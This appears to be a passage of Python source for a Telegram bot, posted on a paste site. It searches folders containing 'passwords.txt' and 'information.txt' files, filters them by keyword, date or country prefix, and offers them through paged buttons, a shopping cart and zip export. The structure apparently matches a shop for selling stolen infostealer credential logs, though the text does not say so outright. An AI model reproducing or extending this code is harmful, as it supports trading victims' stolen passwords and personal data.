message.text results = search_keywords_in_folders(".", [keyword]) if not results: await client.send_message(chat_id, "**❌ No matching results found. ❌**", parse_mode=ParseMode.MARKDOWN) return await display_results(client, chat_id, results) elif sort_options[chat_id] == "date": if validate_date(message.text): date = datetime.strptime(message.text, '%d %b %Y') results = search_folders_by_date(".", date) if not results: await client.send_message(chat_id, "**❌ No matching results found. ❌**", parse_mode=ParseMode.MARKDOWN) return await display_results(client, chat_id, results) else: await client.send_message(chat_id, "**Invalid date format. Please enter a date in the format **'`30 Jan 2024`'") elif sort_options[chat_id] == "country": country = message.text results = search_folders_by_country(".", country) if not results: await client.send_message(chat_id, "**❌ No matching results found. ❌**", parse_mode=ParseMode.MARKDOWN) return await display_results(client, chat_id, results) async def display_results(client, chat_id, results, edit=True): global cnt if chat_id not in page_number: page_number[chat_id] = 0 if not results: text = "**❌ No matching results found. ❌**" if edit: await client.send_message(chat_id, text) else: await client.send_message(chat_id, text) return searches[chat_id] = results start_index = page_number[chat_id] * 5 end_index = min(start_index + 5, len(results)) selected_folders = user_shopping_cart.get(str(chat_id), {}).get('selected_folders', []) results = [folder for folder in results if folder not in selected_folders] buttons = [ [InlineKeyboardButton(text=f"➡️ {(result).split(os.sep)[-1]} ⬅️", callback_data=f"folder_{result}")] for result in results[start_index:end_index] ] if start_index > 0: buttons.insert(0, [InlineKeyboardButton(text="⬅️ Previous ⬅️", callback_data=f"prev_{page_number[chat_id]}")]) if end_index < len(results): buttons.append([InlineKeyboardButton(text="➡️ Next ➡️", callback_data=f"next_{page_number[chat_id]}")]) text = f"**🟢 Results found in {cnt} folders: 🟢**" if edit: await client.send_message(chat_id, text, reply_markup=InlineKeyboardMarkup(buttons)) else: await client.send_message(chat_id, text, reply_markup=InlineKeyboardMarkup(buttons)) def search_keywords_in_folders(root_folder, keywords): global cnt results = [] for root, dirs, files in os.walk(root_folder): for file in files: if file == "passwords.txt": file_path = os.path.join(root, file) if search_in_file(file_path, keywords): cnt += 1 results.append(os.path.dirname(file_path)) return results def search_folders_by_date(root_folder, date): global cnt results = [] for root, dirs, files in os.walk(root_folder): for file in files: if file == "information.txt": file_path = os.path.join(root, file) with open(file_path, 'r', encoding='utf-8', errors='ignore') as file: lines = file.readlines() for line in lines: if line.startswith("Date:"): folder_date = datetime.strptime(line.split(":", 1)[1].strip(), '%a %b %d %H:%M:%S %Y') if folder_date.date() >= date.date(): cnt += 1 results.append(os.path.dirname(file_path)) return results def search_folders_by_country(root_folder, country): global cnt results = [] for root, dirs, files in os.walk(root_folder): for dir in dirs: if dir.startswith(country): cnt += 1 results.append(os.path.join(root, dir)) return results def search_in_file(file_path, keywords): global cnt with open(file_path, 'r', encoding='utf-8', errors='ignore') as file: content = file.read().lower() for keyword in keywords: if keyword.lower() in content: cnt=cnt+1 return True return False def zipdir(path, ziph): for root, dirs, files in os.walk(path): for file in files: ziph.write(os.path.join(root, file), os.path.relpath(os.path.join(root, file), os.path.join(path, '..'))) if __name__ == "__main__": app.run()
© 2024 paste.vc v1.0